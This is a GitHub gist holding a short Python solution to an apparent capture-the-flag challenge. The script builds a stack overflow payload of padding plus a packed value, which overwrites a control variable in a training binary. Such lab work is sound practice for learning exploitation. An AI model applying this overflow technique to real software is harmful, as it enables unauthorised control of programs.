Created
November 24, 2024 07:50
-
-
Save morkev/758a2369cf88bc393ec9b9bafa7bd0d3 to your computer and use it in GitHub Desktop.
Binary Exploitation Variable Control Hard
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
####################################################################### | |
# HOW TO RUN: | |
# python3 binary_exploitation_variable_control_hard.py > /dev/null | |
# wc -c payload.bin | |
# /challenge/binary-exploitation-var-control < payload.bin | |
####################################################################### | |
import sys | |
import struct | |
padding = 56 | |
win_value = 0x5a3c1e5a | |
payload = b"A" * padding + struct.pack("<I", win_value) | |
max_payload_length = 60 | |
assert len(payload) <= max_payload_length, "Payload is too long and will overwrite lose_variable" | |
payload = payload.ljust(max_payload_length, b"B") | |
with open("payload.bin", "wb") as f: | |
f.write(payload) | |
sys.stdout.buffer.write(payload) |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment